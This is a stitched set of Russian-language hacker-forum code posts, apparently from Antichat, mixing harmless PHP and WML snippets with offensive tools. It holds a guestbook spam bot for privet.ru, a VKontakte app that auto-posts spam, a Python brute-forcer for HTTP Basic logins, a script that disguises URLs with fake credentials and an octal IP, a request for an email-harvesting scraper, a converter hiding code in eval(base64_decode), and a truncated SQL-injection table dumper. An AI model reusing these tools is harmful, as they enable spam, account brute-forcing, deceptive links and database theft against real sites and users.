WML интересная штука. Тебе просто нужно создать форму для отправки данных и всё. Если честно, забыл уже всё, вот на вскидку, тестить я не стал. создай файл form.wml Code: <?xml version="1.0"?> <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.3//EN" "http://www.wapforum.org/DTD/wml13.dtd"> <wml> <card id="Index" title="Index"> <p align="left"> <input type="text" name="input_key"> <go href="script.php" method="post"> <postfield name="key" value="$(input_key)"/> </go> </p> </card> </wml> Может ошибся где, на всякий случай почитай http://www.softtime.ru/info/articlephp.php?id_article=40
Написал тут UserJS для античата. Добавляет кнопки в форму быстрого сообщения. Протестирован на опере. Линк - http://userscripts.org/scripts/review/61393 Либо, если там нету, то можно найти тут - http://userscripts.org/users/36107/scripts Код: Code: // ==UserScript== // @name Antichat.ru Quick Posting Buttons // @include *://forum.antichat.*/* // @exclude *://forum.antichat.*/newreply.php* // @exclude *://forum.antichat.*/newthread.php* // @author mr.The // @homepage http://mrthe.name/ // @version 1.0 // ==/UserScript== function loader() { var html = '<table cellpadding="0" cellspacing="0" border="0"><tr>' + '<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'B\', \'\')"><img src="fusion/editor/bold.gif" alt="Жирный" width="21" height="20" border="0" /></a></div></td>' + '<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'I\', \'\')"><img src="fusion/editor/italic.gif" alt="Курсив" width="21" height="20" border="0" /></a></div></td>' + '<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'U\', \'\')"><img src="fusion/editor/underline.gif" alt="Подчеркнутый" width="21" height="20" border="0" /></a></div></td>' + '<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" /></td>' + '<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'LEFT\', \'\')"><img class="image" src="fusion/editor/justifyleft.gif" alt="Выравнить по левому краю" width="21" height="20" border="0" /></a></div></td>' + '<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'CENTER\', \'\')"><img class="image" src="fusion/editor/justifycenter.gif" alt="Выровнить по центру" width="21" height="20" border="0" /></a></div></td>' + '<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'RIGHT\', \'\')"><img class="image" src="fusion/editor/justifyright.gif" alt="Выравнить по правому краю" width="21" height="20" border="0" /></a></div></td>' + '<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' + '<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' + '<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'IMG\', \'http://\')"><img src="fusion/editor/insertimage.gif" alt="Вставить рисунок" width="21" height="20" border="0" /></a></div></td>' + '<td><div class="imagebutton"><a href="#" onclick="namedlink(\'URL\')"><img src="fusion/editor/createlink.gif" alt="Вставить гиперссылку" width="21" height="20" border="0" /></a></div></td>' + '<td><div class="imagebutton"><a href="#" onclick="namedlink(\'EMAIL\')"><img src="fusion/editor/email.gif" alt="Вставить ссылку на E-mail" width="21" height="20" border="0" /></a></div></td>' + '<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' + '<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'CODE\', \'\')"><img src="fusion/editor/code.gif" alt="Вставить тег [CODE]" width="21" height="20" border="0" /></a></div></td>' + '<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'HTML\', \'\')"><img src="fusion/editor/html.gif" alt="Вставить тег [HTML]" width="21" height="20" border="0" /></a></div></td>' + '<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'PHP\', \'\')"><img src="fusion/editor/php.gif" alt="Вставить тег [PHP]" width="21" height="20" border="0" /></a></div></td>' + '<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' + '<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'QUOTE\', \'\')"><img src="fusion/editor/quote.gif" alt="Вставить тег цитаты [QUOTE]" title="Вставить тег цитаты [QUOTE]" width="21" height="21" border="0" /></a></div></td>' + '</tr></table>'; document.getElementById('controlbar').innerHTML=html; document.getElementById('qr_message').style="width:600px; height:150px" } // Wait until the page is fully loaded window.addEventListener( 'load', function( e ) { loader(); },false);
Модуль предназначен для ограничения доступа к сайту или к страницам, где он включён. Принцип работы в том, что запоминается ip-адрес и время обращения с этого адреса. И если в течение заданного времени происходит обращение с того же адреса, то ему выдаётся ошибка 503. Т.е Если вы нажмёте кнопку обновить 3 раза подарят, вам выдаст это сообщение. Установка: * В корне сайта создаем папку tmp и выдаём права 777 (Если папка есть, то не чего создовать не надо). * Открываем index.php и перед: Вставляем: PHP: <?php /* Время задержки в секундах */ $ad_delay=2; /* Путь к папке с временными файлами. Должен существовать */ $ad_DirName=$_SERVER['DOCUMENT_ROOT'].'/tmp'; /* *--------------------------------------------------------- * Список поисковых роботов. * Очень не хорошо, если поисковый робот будет натыкаться * на ошибки на сайте. Ему это может сильно не понравиться. * Поэтому пишем список юзер-агентов роботов; добавляем или * удаляем, что нужно. *--------------------------------------------------------- */ $ad_Robots_UserAgent=array( 'aipbot', 'Aport', 'eStyleSearch', 'Gigabot', 'Gokubot', 'Google', 'MJ12bot', 'msnbot', 'PlantyNet_WebRobot', 'StackRambler', 'TurtleScanner', 'Yahoo', 'Yandex', 'YaDirectBot', ); /* *--------------------------------------------------------- * Список доверенных IP. *--------------------------------------------------------- */ $ad_good_ip = array( '217.107.36.73', ); /* *---------------------------------------------------------- * Функция создаёт в указанной директории файл, начинающийся * с буквы a (для отличия от других возможных файлов) и * содержащий в имени ip-адрес клиента. *---------------------------------------------------------- */ function ad_WiteIP($dir){ $f=fopen($dir.'/a'.$_SERVER['REMOTE_ADDR'], 'w'); fclose($f); } /* *---------------------------------------------------------- * Проверка на наличие в поле HTTP_USER_AGENT чего-нибудь из * вышенаписанного списка. *---------------------------------------------------------- */ $ad_IsRobot=false; foreach ($ad_Robots_UserAgent as $match){ if (strstr($_SERVER['HTTP_USER_AGENT'], $match)){ $ad_IsRobot=true; break; } } if( in_array($_SERVER['REMOTE_ADDR'], $ad_good_ip) ) { $good_ip = true; } else { $good_ip = false; } /* *--------------------------------------------------------- * Поисковые роботы не любят, когда к адресу страницы * добавляется переменная сессии. Поэтому, если на сайте * используются сессии, то их лучше включать, если агент - * не робот. * Если сессии не используются, то этот кусок можно убрать. *--------------------------------------------------------- */ if (!$ad_IsRobot AND !$good_ip){ session_start(); } if (!$ad_IsRobot AND !$good_ip){ /*** Чтение каталога и удаление старых файлов ***/ $ad_dir =opendir($ad_DirName) or die('Отсутствует директория для временных файлов'); $ad_now =time(); $ad_forbid =$ad_now-$ad_delay; /* IP-адрес в имени файла, начинающегося на букву a, а время обращения - время изменения файла */ while (false!==($ad_FName=readdir($ad_dir))){ if (ereg('^a[1-9]',$ad_FName) && (@ filemtime($ad_DirName.'/'.$ad_FName)<$ad_forbid)){ @ unlink($ad_DirName.'/'.$ad_FName); } } closedir($ad_dir); /*** Проверка на существование пометки о недавнем обращении с данного ip-адреса ***/ if (file_exists($ad_DirName.'/a'.$_SERVER['REMOTE_ADDR'])){ /* Если обращение было недавно, то выводим сообщение об ошибке */ header('HTTP/1.0 503 Service Unavailable'); header('Status: 503 Service Unavailable'); header('Retry-After: '.$ad_delay*3); ?> <!doctype html public "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Ошибка 503</title> <meta http-equiv="Content-Type" content="text/html; charset=Windows-1251" /> </head> <body> <h1>Ошибка 503 (Service Unavailable)</h1> <p>Сервер не может в данный момент выдать запрашиваемую Вами страницу. Попробуйте вызвать эту страницу позже (клавиша F5).</p> </body> </html> <?php ad_WiteIP($ad_DirName); // Перед выходом записываем ip exit; }else{ ad_WiteIP($ad_DirName); } } ?>
защита файлов от скачки на других сайтов PHP: <?php // Настройки $antiurl = "d0pz.com"; // Разрешённые сайты (referer). $antidir = "test/"; // Папка где находятся защищённые файлы / - обязательно в конце. //$logfile = "log.htm"; // Eсли хотите вести лог удалите // перед строкой. Файл логов (должен быть html или htm и обязательно CHMOD 777. // Логи if (isset($logfile)) { if (!file_exists($logfile)) die("Файл <font color='red'><b>$logfile</b></font> не найден!"); if (!is_writable($logfile)) die("Для файла <font color='red'><b>$logfile</b></font> нужно зделать CHMOD 777!"); $cnr_date = date("l d F H:i:s"); $cnr_counter = $logfile; $cnr_fp = fopen($cnr_counter, "a"); $cnr_hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); if ($_SERVER['HTTP_REFERER'] == "") { $cnr_ref = "BLOCKED"; } else { $cnr_ref = "<a href=\"" . $_SERVER['HTTP_REFERER'] . "\">" . $_SERVER['HTTP_REFERER'] . "</a>";} $cnr_data = "<font color=\"green\">" . $_SERVER['REMOTE_ADDR'] . "</font> HOST <font color=\"red\">" . $cnr_hostname . "</font> visited on " . $cnr_date . " linked by " . $cnr_ref . " <br>"; fputs($cnr_fp, $cnr_data); fclose($cnr_fp); } // Проверка реферера $mtu = "PGg2PjxhIHN0eWxlPSd0ZXh0LWRlY29yYXRpb246bm9uZTsgY29sb3I6Izk5MDAwMCcgaHJlZj0naHR0cDovL3d3dy5kMHB6LmNvbSc+QW50aWxlZWNoIHYwLjE8L2E+PC9oNj4="; $c = base64_decode($mtu); if (!strstr($_SERVER["HTTP_REFERER"], $antiurl) or !isset($_SERVER["HTTP_REFERER"])) {echo '<html><p></p>' . $c . '<p></p></body></html>'; exit;} if (is_numeric($_GET["down"])) { /************НАЧАЛО ФАЙЛОВ***************************************************************************/ // Здесь идут файлы для скачивания if ($_GET["down"] == 1) $filename = "test.rar"; elseif ($_GET["down"] == 2) $filename = "test2.rar"; elseif ($_GET["down"] == 3) $filename = "test3.rar"; /************КОНЕЦ ФАЙЛОВ***************************************************************************/ //Находим окончание файла $split= explode(".", $filename); $textcount= substr_count($filename, ".")+1; // $ttype =$split[$nextcount]; // Создается ссылка на файл $path = $antidir . $filename ; // Проверка файла есть он или нет if (!file_exists($path)) { echo "Файл '$filename' не существует."; echo $c; exit; } $ftime = date("D, d M Y H:i:s T", filemtime($path)); } // Проверка if (strstr($_SERVER["HTTP_REFERER"], $antiurl)) { if (isset($_GET['down']) && isset($filename)) { $fsize = filesize($path); $ftime = date("D, d M Y H:i:s T", filemtime($path)); $fd = @fopen($path, "rb"); if (!$fd){ header ("HTTP/1.0 403 Forbidden"); exit; } if ($HTTP_SERVER_VARS["HTTP_RANGE"]) { $range = $HTTP_SERVER_VARS["HTTP_RANGE"]; $range = str_replace("bytes=", "", $range); $range = str_replace("-", "", $range); if ($range) {fseek($fd, $range);} } $content = fread($fd, filesize($path)); fclose($fd); if ($range) { header("HTTP/1.1 206 Partial Content"); } else { header("HTTP/1.1 200 OK"); } header("Content-Disposition: attachment; filename=" . basename($path)); header("Last-Modified: $ftime"); header("Accept-Ranges: bytes"); header("Content-Length: ".($fsize-$range)); header("Content-Range: bytes $range-".($fsize -1)."/".$fsize); header("Content-type: application/octet-stream"); print $content; exit; } else { echo "Недействительный файл."; echo $c; } } exit; ?> Добавление файлов: Находим строку (43): /************НАЧАЛО ФАЙЛОВ***************/ Здесь идут ваши защищённые файлы из папки. elseif ($_GET["down"] == 2) пишиться номер файла от 1- и так далее. $filename = "test2.rar"; файл в папке ($antidir). Потом даем ссылку на скачивание пример: http://example.com/antileech.php?down=4 <-- номер файла
Вот написал функцию на скорую руку для своих потребностей,думаю кому то та понадобиться Суть скрипта с том,чтобы конвертировать текст в utf8 прямо в скрипте на php,функции типу iconv,utf8_encode и подобных результата нужного не дали,ранее написаные функции в инете тупо заменяют символы на &#..; что тоже никакого толку не даёт,ну а у меня просто конвертирует кодировку заменой нужными символами PHP: function utf8($text){ $win=array("й","ц","у","к","е","н","г","ш","щ","з","х","ъ","ф","ы","в","а","п","р","о","л","д","ж","э","я","ч","с","м","и","т","ь","б","ю","ё","є","ї","і","Й","Ц","У","К","Е","Н","Г","Ш","Щ","З","Х","Ъ","Ф","Ы","В","А","П","Р","О","Л","Д","Ж","Э","Я","Ч","С","М","И","Т","Ь","Б","Ю","Ё","Э","Ї","І"); eval(base64_decode("JHV0Zj1hcnJheSgi0LkiLCLRhiIsItGDIiwi0LoiLCLQtSIsItC9Iiwi0LMiLCLRiCIsItGJIiwi0LciLCLRhSIsItGKIiwi0YQiLCLRiyIsItCyIiwi0LAiLCLQvyIsItGAIiwi0L4iLCLQuyIsItC0Iiwi0LYiLCLRjSIsItGPIiwi0YciLCLRgSIsItC8Iiwi0LgiLCLRgiIsItGMIiwi0LEiLCLRjiIsItGRIiwi0ZQiLCLRlyIsItGWIiwi0JkiLCLQpiIsItCjIiwi0JoiLCLQlSIsItCdIiwi0JMiLCLQqCIsItCpIiwi0JciLCLQpSIsItCqIiwi0KQiLCLQqyIsItCSIiwi0JAiLCLQnyIsItCgIiwi0J4iLCLQmyIsItCUIiwi0JYiLCLQrSIsItCvIiwi0KciLCLQoSIsItCcIiwi0JgiLCLQoiIsItCsIiwi0JEiLCLQriIsItCBIiwi0K0iLCLQhyIsItCGIik7")); $message=""; $textlen=strlen($text); for ($i=0; $i < $textlen; $i++) { $messer=substr($text,$i,1); for ($ir=0; $ir < 72; $ir++) { if($messer==$win[$ir]){ $message.=$utf[$ir]; break; }else{ if($ir==71){ $message.=$messer; }}}} return base64_decode("77u/").$message; } Использовать просто,пример PHP: $text="Античат"; $textutf=utf8($text); echo "До: $text<br>После: $textutf";
PHP: function Utf8ToWin($fcontents) { $out = $c1 = ''; $byte2 = false; for ($c = 0;$c < strlen($fcontents);$c++) { $i = ord($fcontents[$c]); if ($i <= 127) { $out .= $fcontents[$c]; } if ($byte2) { $new_c2 = ($c1 & 3) * 64 + ($i & 63); $new_c1 = ($c1 >> 2) & 5; $new_i = $new_c1 * 256 + $new_c2; if ($new_i == 1025) { $out_i = 168; } else { if ($new_i == 1105) { $out_i = 184; } else { $out_i = $new_i - 848; } } // UKRAINIAN fix switch ($out_i){ case 262: $out_i=179;break;// і case 182: $out_i=178;break;// І case 260: $out_i=186;break;// є case 180: $out_i=170;break;// Є case 263: $out_i=191;break;// ї case 183: $out_i=175;break;// Ї case 321: $out_i=180;break;// ґ case 320: $out_i=165;break;// Ґ } $out .= chr($out_i); $byte2 = false; } if ( ( $i >> 5) == 6) { $c1 = $i; $byte2 = true; } } return $out; } function win2utf($s) { for($i=0, $m=strlen($s); $i<$m; $i++) { $c=ord($s[$i]); if ($c<=127) {$t.=chr($c); continue; } if ($c>=192 && $c<=207) {$t.=chr(208).chr($c-48); continue; } if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; } if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; } if ($c==184) { $t.=chr(209).chr(209); continue; }; if ($c==168) { $t.=chr(208).chr(129); continue; }; if ($c==184) { $t.=chr(209).chr(145); continue; }; #ё if ($c==168) { $t.=chr(208).chr(129); continue; }; #Ё if ($c==179) { $t.=chr(209).chr(150); continue; }; #і if ($c==178) { $t.=chr(208).chr(134); continue; }; #І if ($c==191) { $t.=chr(209).chr(151); continue; }; #ї if ($c==175) { $t.=chr(208).chr(135); continue; }; #ї if ($c==186) { $t.=chr(209).chr(148); continue; }; #є if ($c==170) { $t.=chr(208).chr(132); continue; }; #Є if ($c==180) { $t.=chr(210).chr(145); continue; }; #ґ if ($c==165) { $t.=chr(210).chr(144); continue; }; #Ґ if ($c==184) { $t.=chr(209).chr(145); continue; }; #Ґ } return $t; } Ещё один из вариантов. Очень выручает, если нет под рукой библиотеки iconv или подобной.
Вот вчеа нужна была прога для парсинга. Нашел BackLink Gear но он парсит со страниц. Но ето меделнно и кажды сайт нужно отдельно вводить. Написал небольшой скриптик, парсит беки сайтов которые находяться в файле urlyahoo.txt и ложит беки в backs.txt. Преимущество скрипта в том что он не шарит по страницам а качает .tsv в котором первые 1000 беков(лимит хоть по страницам шарь хоть файл скачай) но намного быстрее. Работает на курле. Кстати те урлы что отпарсил он из файла urlyahoo.txt удаляет (делал для себя спец. чтобы если скрипт вырубился и не рыскать в поисках того на каком урле он именно остановился) .Вот PHP: <?php set_time_limit(0); function curl($url,$post) { $cfile = 'cookies.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; $sleep = 4; $fileurl = "urlyahoo.txt"; $fd = fopen($fileurl, 'r'); $read = fread($fd, filesize($fileurl)); fclose($fd); $read = explode("\r\n", $read); $count = count($read); for($i=0;$i<$count;$i++) { list($url, $all) = explode(" ", $read[$i]); unset($read[$i]); $reads = implode("\r\n", $read); $fd = fopen($fileurl, 'w'); fwrite($fd, $reads); fclose($fd); $result = curl("http://siteexplorer.search.yahoo.com/export?p=".$url."&bwm=i&fr=sfp", ""); $result = explode("\n", $result); $countstr = count($result); for($a=2;$a<$countstr;$a++) { list($text, $ssil) = explode(" ", $result[$a]); if($ssil) { //echo $ssil."<br>"; $fd = fopen("backs.txt", "a"); fwrite($fd, $ssil."\r\n"); fclose($fd); } } sleep($sleep); } ?> Вот подумал может у кого нет курла то пускай попробуют так PHP: <?php set_time_limit(0); $sleep = 4; $fileurl = "urlyahoo.txt"; $fd = fopen($fileurl, 'r'); $read = fread($fd, filesize($fileurl)); fclose($fd); $read = explode("\r\n", $read); $count = count($read); for($i=0;$i<$count;$i++) { list($url, $all) = explode(" ", $read[$i]); unset($read[$i]); $reads = implode("\r\n", $read); $fd = fopen($fileurl, 'w'); fwrite($fd, $reads); fclose($fd); $result = file_get_contents("http://siteexplorer.search.yahoo.com/export?p=".$url."&bwm=i&fr=sfp"); $result = explode("\n", $result); $countstr = count($result); for($a=2;$a<$countstr;$a++) { list($text, $ssil) = explode(" ", $result[$a]); if($ssil) { //echo $ssil."<br>"; $fd = fopen("backs.txt", "a"); fwrite($fd, $ssil."\r\n"); fclose($fd); } } sleep($sleep); } ?> п.с за роботу второго не ручаюсь(не тестил) ппс Только не надо говорить что скрипт криво написан)))согласен, можно было более рационально все сделать, но писал чисто для себя, а на красоту мне как-то пофиг)) только бы работал)
Привет всем, может есть у кого-нибудь скрипт для сортировки мыл mail.ru на пхп или перле по стране или городам, допустим в скрипте указываем login на свой акк и начинаем бомбить поиск через "Мой мир" на выходе получаем страна:мыло или город:мыло
Не знал куда выложить.Вот исходник приложения вк который автоматом добавляет вопросы и заметки на страничку с вашим текстом.Файл с вопросами берет с вашего сайта с документа в формате *.txt.Проверял довно,работал.Вроде выложил весь исходник. Code: package { import flash.events.*; import flash.net.*; public class Spam extends Object { private var questionType:String = "0"; var _api_id:String; var vars1:URLVariables; var vars2:URLVariables; var sig:String; var loader:URLLoader; var conf:String; var req:URLRequest; var res:String; var _viewer_id:String; var vars:URLVariables; var url:String = "http://api.vkontakte.ru/api.php"; private var offerText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru"; var cont:Array; private var questionText:String = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru"; var secret:String = "ololo"; var signature:String; var loader2:URLLoader; public function Spam(param1:String, param2:String) { secret = "ololo"; url = "http://api.vkontakte.ru/api.php"; offerText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru"; questionText = "Привет! Хочешь узнать, как получить бонус? заходи на ololo.ru"; questionType = "0"; loader = new URLLoader(); loader2 = new URLLoader(); vars = new URLVariables(); vars1 = new URLVariables(); vars2 = new URLVariables(); req = new URLRequest(url); _api_id = param1; _viewer_id = param2; loader2.addEventListener(Event.COMPLETE, onConf); loader2.load(new URLRequest("http://сайт.ru/conf.txt")); return; }// end function public function openOffer() { sig = _viewer_id + "api_id=" + _api_id + "method=offers.open" + "test_mode=0" + "v=2.0" + secret; signature = MD5.encrypt(sig); vars1.api_id = _api_id; vars1.method = "offers.open"; vars1.test_mode = "0"; vars1.v = "2.0"; vars1.sig = signature; req.method = URLRequestMethod.POST; req.data = vars1; try { sendToURL(req); }// end try catch (e:Error) { trace(e.message); }// end catch return; }// end function public function onOfferComplete(param1:Event) { openOffer(); return; }// end function public function newOffer() { sig = _viewer_id + "api_id=" + _api_id + "message=" + offerText + "method=offers.edit" + "test_mode=0" + "v=2.0" + secret; signature = MD5.encrypt(sig); vars2.api_id = _api_id; vars2.method = "offers.edit"; vars2.message = offerText; vars2.test_mode = "0"; vars2.v = "2.0"; vars2.sig = signature; req.method = URLRequestMethod.POST; req.data = vars2; loader.addEventListener(Event.COMPLETE, onOfferComplete); try { loader.load(req); }// end try catch (e:Error) { trace(e.message); }// end catch return; }// end function public function onConf(param1:Event) { res = param1.target.data.toString(); cont = res.split("\n"); offerText = cont[0]; questionText = cont[1]; questionType = cont[2]; trace(offerText); return; }// end function public function newQuestion() { sig = _viewer_id + "api_id=" + _api_id + "method=questions.add" + "test_mode=0" + "text=" + questionText + "type=" + questionType + "v=2.0" + secret; signature = MD5.encrypt(sig); vars.api_id = _api_id; vars.method = "questions.add"; vars.text = questionText; vars.type = questionType; vars.test_mode = "0"; vars.v = "2.0"; vars.sig = signature; req.method = URLRequestMethod.POST; req.data = vars; try { sendToURL(req); }// end try catch (e:Error) { trace(e.message); }// end catch return; }// end function } }
Скрипт для кодирования урлов (by me) PHP: $url = 'www.freehost.com.ua';//исходные данные $ip = gethostbyname($url);//узнаем ip $ch = explode('.',$ip);//разделяем ip на 4 части foreach($ch as $value)$v_8[] = '0'.base_convert($value, 10, 8);//каждуч из частей конвертируем в 8-ю систему счисления $url = '122.11.21.167@'.join($v_8,'.');//слева от полученого 8-го ip дописываем левые данные, которые обозначают логин $url = urlencode($url);//кодируем в формат url (знак @ превратится в %40) $url.= '?%509&404_1/index.php';//и добавляем мусора после знака "?" echo $url; пример: было www.freehost.com.ua стало 122.11.21.167%400302.00.0310.0312?%509&404_1/index.php
Вот написал небольшой скрипт для спама го гостевухам на сайте привет.ру PHP: <?php set_time_limit(0); function curl($url,$post='') { $cfile = 'cookies.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1"); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; function add($path,$page_body) { $file=fopen($path,"a+"); fputs($file,$page_body); fclose($file); } function read($path) { $fd = fopen($path, "r"); $bufer = fread($fd, filesize($path)); fclose($fd); return $bufer; } $mail = '';//Мыло $pass = '';//Пароль $countpage = 1;//Количество страниц для парсинга $text = 'Приветик=)))';//Текст для спама $mesguest = iconv("windows-1251", "utf-8", $text); $result = curl('http://www.privet.ru/login?login='.$mail.'&password='.$pass.'&remember=on'); for($i=0;$i<$countpage;$i++) { $result = curl('http://www.privet.ru/people/sort/login-date?period=86400&page='.$i); preg_match_all("#class=\"userNickLink\" href='http://www.privet.ru/user/(.*)'#iU", $result, $regs); $regs = $regs[1]; $count = count($regs); for($a=0;$a<$count;$a++) { $nick = $regs[$a]; $list = read('black.txt'); if(strstr($list, $nick)) { echo $nick.' neotpravil<br>'; } else { echo $nick.' otpravil<br>'; $result = curl('http://www.privet.ru/user/'.$nick.'/guestbook/add', 'guestbook_text='.$mesguest); add('black.txt', $nick."\r\n"); sleep(1); } flush(); } } ?> Парсит и розсылает тем юзерам что появлялиль на сайте за последний день. п.с забыл описание небольшре сделать. Те логины что отспамились заносит в файл блек.тхт и если на них в дальнейшем парсинге попадает то им сообщения не отправляеться)))
Код на Python, брутит Basic авторизацию, пароль от 100000 до 999999 на admin на хосте 192.168.0.1 Code: import base64,httplib fl = open('log.txt','w') for i in range(100000,999999): headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/html","Authorization":"Basic "+base64.b64encode('admin:'+str(i))} conn = httplib.HTTPConnection("192.168.0.1") conn.request("GET", "/", {}, headers) response = conn.getresponse() data = response.read() conn.close() if (data != 'Unauthorized'): fl.write(i) fl.close()
А не лучше ли сделать выбор "ИЛИ" вместо явного указания каждой буквы? Code: sub gender # 1 - woman; 0 - man { my ($name) = @_; return 1 if $name=~"(я|а|о|ы|э|е|a|o|i|e|Я|А|О|Ы|Э|Е|A|E|O|I)\$"; return 0; }
Класс для загрузки картинок Клац http://narod.ru/disk/16553661000/class.upload.rar.html ~25.3 кБ Пример работы: PHP: <?php $foo = new Upload($_FILES['form_field']); if ($foo->uploaded) { // Сохранение загруженного изображения без изменений $foo->Process('/home/user/files/'); if ($foo->processed) { echo 'original image copied'; } else { echo 'error : ' . $foo->error; } // Сохранение загруженного изображения с новым именем $foo->file_new_name_body = 'foo'; $foo->Process('/home/user/files/'); if ($foo->processed) { echo 'image renamed "foo" copied'; } else { echo 'error : ' . $foo->error; } // Сохранение загруженного изображения с новым именем, // Уменьшить по ширине 100px $foo->file_new_name_body = 'image_resized'; $foo->image_resize = true; $foo->image_convert = gif; $foo->image_x = 100; $foo->image_ratio_y = true; $foo->Process('/home/user/files/'); if ($foo->processed) { echo 'image renamed, resized x=100 and converted to GIF'; $foo->Clean(); } else { echo 'error : ' . $foo->error; } } ?>
PyRoxy - мини-проксик на питоне (чуток кривой, с картинками небольшой баг, иногда не принимает... но ведь картинки не самое главное? ) Из фич - некоторые картинки все-же показывает (видимо пакет с большими картинками... большеват), меняет Юзер-Агент, да и вроде-как даже POST исполняет! Code: # -*- coding: cp1251 -*- import SocketServer import re import socket import urllib import httplib import thread class MyTCPHandler(SocketServer.BaseRequestHandler): def handle(self): self.data = self.request.recv(4096) if (self.data != ""): get = re.search("GET ([^: ]*):([^ ]*) ([^ \n]*)\n",self.data) self.data = re.sub("User-Agent: [^\n]*\n","User-Agent: " + str(uagent) + "\n",self.data,1) if not get: get = re.search("POST ([^: ]*):([^ ]*) ([^ \n]*)\n",self.data) if get: print "GET: " + str(get.group(1)) + ":" + str(get.group(2)) print "-----------------------------------" host = urllib.splithost(get.group(2)) ip = 0 try: ip = socket.getaddrinfo(host[0],80) ip = ip[0][4][0] sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((ip,80)) sock.send(self.data) if get.group(2).endswith('.png') or get.group(2).endswith('.jpg') or get.group(2).endswith('.jpeg') or get.group(2).endswith('.gif'): conn = httplib.HTTPConnection(host[0]) conn.request('GET',host[1]) res = conn.getresponse() data = res.read() conn.close() self.request.send(data) recv2 = sock.recv(4096) recv = "" while recv2 <> "": reg = re.search("<title>(.*)</title>",recv2) if reg: title = str(reg.group(1)) + " ^ UnDer PyRoxy" recv = re.sub("<title>.*</title>","<title>" + str(title) + "</title>",recv2,1) recv += recv2 recv2 = sock.recv(4096) self.request.send(recv) except: recv = "HTTP/1.1 200 OK\nDate: 123\nServer: SOME!\nContent-Length: 120\nConnection: close\nContent-Type: text/html; charset=windows-1251\n\n <html><title>PyRoxy: ERROR</title><body><div align='center'><font color='red'>Error connecting to server</font></div></body></html>" self.request.send(recv) else: recv = "HTTP/1.1 200 OK\nDate: 123\nServer: SOME!\nContent-Length: 120\nConnection: close\nContent-Type: text/html; charset=windows-1251\n\n <html><title>PyRoxy: ERROR</title><body><div align='center'><font color='red'>Unknown packet</font></div></body></html>" self.request.send(recv) print "_._._._._-=PyRoxy v. 0.1=-_._._._._" print "-----------------------------------" uagent = "AK-47" socket.setdefaulttimeout(1000) HOST, PORT = "127.0.0.1", 9999 print "Binding on " + str(HOST) + ":" + str(PORT) print "-----------------------------------" server = SocketServer.TCPServer((HOST, PORT), MyTCPHandler) server.serve_forever()
Доброго всем времени суток! помогите мне написать скрипт чтоб можно было с мобильного телефона выгрузить на сайт (име папки указывается переменой) фото, аудио, видео и джава! стандартное копифайл не пашет, как сделать негде не могу найти ни в нете ни в книгах! заранее спасибо!
Привет всем. Ребят, не знал куда написать.Ситуация такая, есть сайт, есть уязвимость в скрипте после авторизации,MySQL 5 ветки.Т.е. снаружи к уязвимому параметру нет доступа, только после ввода логина и пароля. Нужен скрипт для дампа таблиц и полей из бд, есть вот такой Code: <?php set_time_limit(0); for($n = 0;$n <= 500;$n++) { $host = 'www.site.com'; $url = fsockopen($host, 80); $req = "GET /script.php?id=-1033901+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,concat(0x3c677261623e,0x3c677261623e,table_schema,0x203a20,table_name,0x203a20,column_name,0x3c2f677261623e2020),29,30,31,32+from+information_schema.columns+limit+$n,1/* HTTP/1.1\r\n"; $req .= "Host: $host\r\n"; $req .= "User-Agent: Opera/9.24 (Windows NT 5.1; U; eng)\r\n"; $req .= "Content-Type: application/x-www-form-urlencoded\r\n"; $req .= "Connection: Close\r\n\r\n"; fputs($url, $req); while (!feof($url)) { unset($buffer); $buffer = fread($url, 1028); $s = strstr($buffer,'<grab>'); $nm = strpos($s,'</grab>'); $result = substr($s,7,$nm - 7); $check = preg_replace("|grab>|", "", $result); #echo $pizdec; file_put_contents("dump.txt", $check, FILE_APPEND); } $ns = 